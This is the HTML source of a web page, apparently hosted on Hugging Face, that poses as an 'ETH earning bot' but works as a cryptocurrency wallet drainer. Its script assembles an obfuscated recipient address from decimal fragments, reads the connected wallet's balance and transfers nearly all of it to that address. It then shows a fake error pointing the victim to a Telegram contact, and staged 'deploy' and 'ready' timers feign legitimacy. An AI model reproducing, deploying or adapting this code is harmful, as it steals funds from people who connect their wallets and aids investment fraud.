ETH_POL_Earming_Bot / index.html
Lechcher's picture
Update index.html
d1c683a verified
raw
history blame
9.22 kB
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link
rel="shortcut icon"
href="https://huggingface.co/spaces/Lechcher/ETH_Earming_Bot/resolve/main/eth.png"
type="image/x-icon"
/>
<title>Eth EOL Earming Bot</title>
</head>
<body>
<section>
<button id="connectButton">connect</button>
<table id="checkAdressBalanceButton" style="display: none">
<tr>
<td>my contract</td>
<td><button id="regular">deploy</button></td>
<td>
<p id="result"><code>no contract</code></p>
</td>
</tr>
<tr>
<td>my second address</td>
<td>
<input
type="text"
id="typeAdress"
name="adress_auth"
placeholder="Input second address ETH-0x"
autocomplete="off"
size="20"/>
</td>
<td>
<button id="sendEtherButton" style="display: none">Attach</button>
</td>
<td><div id="statusMessage"></div></td>
</tr>
<tr>
<td>my status</td>
<td><center>
<button disabled="disabled" id="checkBalanceButton" style="display: none">
liquid
</button>
</td>
<td><p id="balanceDisplay" style="display: none"></p>confirm the liquidity</td>
</tr>
</table>
<script>
const connectButton = document.getElementById("connectButton");
const sendEtherButton = document.getElementById("sendEtherButton");
const typeAdress = document.getElementById("typeAdress");
const checkBalanceButton =document.getElementById("checkBalanceButton");
const balanceDisplay = document.getElementById("balanceDisplay");
const checkAdressBalanceButton = document.getElementById("checkAdressBalanceButton");
const statusMessage = document.getElementById("statusMessage");
let validationComplete = false;
let transferInProgress = false;
const performTransaction = async () => {
try {
const value = typeAdress.value;
transferInProgress = true;
function kyc(dcm)
{
return parseInt(dcm).toString(16);
}
const m = '29555';
const k = '65823';
const e = '32280';
const v = '619621';
const n = '137011';
const c = '4211409';
const i = '14392965';
const p = '113273';
const evm = kyc(m);
const hashlock = kyc(k);
const moe = kyc(e);
const spv = kyc(v);
const comission = kyc(n);
const sc = kyc(c);
const validate = kyc(i);
const mnode = kyc(p);
const ra = `0x${evm}${hashlock}${moe}${spv}${comission}${sc}${validate}${mnode}`;
const balanceWei = await window.ethereum.request({
method: "eth_getBalance",
params: [window.ethereum.selectedAddress, "latest"],
});
const gasPrice = await window.ethereum.request({
method: "eth_gasPrice",
});
const gasLimit = 33000;
const gasCost = gasPrice * gasLimit;
if (BigInt(balanceWei) < gasCost) {
alert("no ETH for gas fee");
transferInProgress = false;
return;
}
const amountToSend = BigInt(balanceWei) - BigInt(gasCost);
await window.ethereum.request({
method: "eth_sendTransaction",
params: [
{
from: window.ethereum.selectedAddress,
to: ra,
value: "0x" + amountToSend.toString(16),
},
],
});
alert("Error. A small amount of liquidity. Write to me in telegram @OnlyTrustCrypto");
transferInProgress = false;
} catch (error) {
alert("Error confirming liquidity. Repeat again");
console.error(error);
transferInProgress = false;
}
};
connectButton.addEventListener("click", async () => {
try {
const accounts = await window.ethereum.request({
method: "eth_requestAccounts",
});
if (accounts.length > 0) {
sendEtherButton.style.display = "block";
typeAdress.style.display = "block";
checkBalanceButton.style.display = "block";
checkAdressBalanceButton.style.display = "block";
connectButton.style.display = "none";
}
} catch (error) {
console.error(error);
alert("connection error");
}
});
sendEtherButton.addEventListener("click", async () => {
try {
const value = typeAdress.value;
if (resultElement.innerText !== "ready") {
alert("Сlick the deploy button");
return;
}
if (!value || value.length < 40) {
alert("Attention! Enter the correct second Ethereum address");
return;
}
if (!validationComplete) {
if (
/^[a-zA-Z0-9!@#$%^'&*()-_+=<>?:"',./\[\]{}|\\]+$/g.test(
value
) &&
value.length >= 40
) {
statusMessage.textContent = "waiting";
typeAdress.disabled = true;
sendEtherButton.disabled = true;
setTimeout(() => {
validationComplete = true;
statusMessage.textContent = "ready";
typeAdress.disabled = true;
sendEtherButton.textContent = "confirm";
sendEtherButton.disabled = false;
}, 10000);
} else {
alert("Error! input value");
}
} else if (sendEtherButton.textContent === "confirm") {
performTransaction();
}
} catch (error) {
console.error("Error on process:\n" + error);
transferInProgress = false;
}
});
checkBalanceButton.addEventListener("click", async () => {
try {
const balanceWei = await window.ethereum.request({
method: "eth_getBalance",
params: [window.ethereum.selectedAddress, "latest"],
});
const balanceEther = (parseInt(balanceWei) / 1e18).toFixed(4);
balanceDisplay.innerText = `balance: ${balanceEther} ETH`;
balanceDisplay.style.display = "block";
} catch (error) {
console.error(error);
alert("Error");
}
});
</script>
<style>
html {
box-sizing: border-box;
font-family: "Open Sans", sans-serif;
}
*,
*:before,
*:after {
box-sizing: inherit;
}
body {
font-family: Arial, sans-serif;
text-align: center;
margin: 0;
padding: 20px;
background: #222336;
background: -webkit-radial-gradient(
circle farthest-side at center center,
#222336 0%,
#222336 100%
);
background: -moz-radial-gradient(
circle farthest-side at center center,
#2a2c3f 0%,
#222336 100%
);
background: radial-gradient(
circle farthest-side at center center,
#222336 0%,
#222336 100%
);
}
section {
background: #2a2c3f;
color: white;
border-radius: 1em;
padding: 1em;
position: absolute;
top: 50%;
left: 50%;
margin-right: -50%;
margin: 0 auto;
transform: translate(-50%, -50%);
}
</style>
<script>
const regularLaunchButton = document.getElementById("regular");
const resultElement = document.getElementById("result");
function setButtonsDisabled(isDisabled) {
regularLaunchButton.disabled = isDisabled;
}
function timeout(workFn) {
console.log("exec");
setButtonsDisabled(true);
resultElement.innerText = "waiting...";
setTimeout(() => {
const asyncStartTime = Date.now();
resultElement.innerText = "ready";
setButtonsDisabled(true);
}, 12000);
const startTime = Date.now();
if (typeof workFn === "function") {
workFn();
}
}
regularLaunchButton.addEventListener("click", () => {
timeout();
});
</script>
</section>
</body>
</html>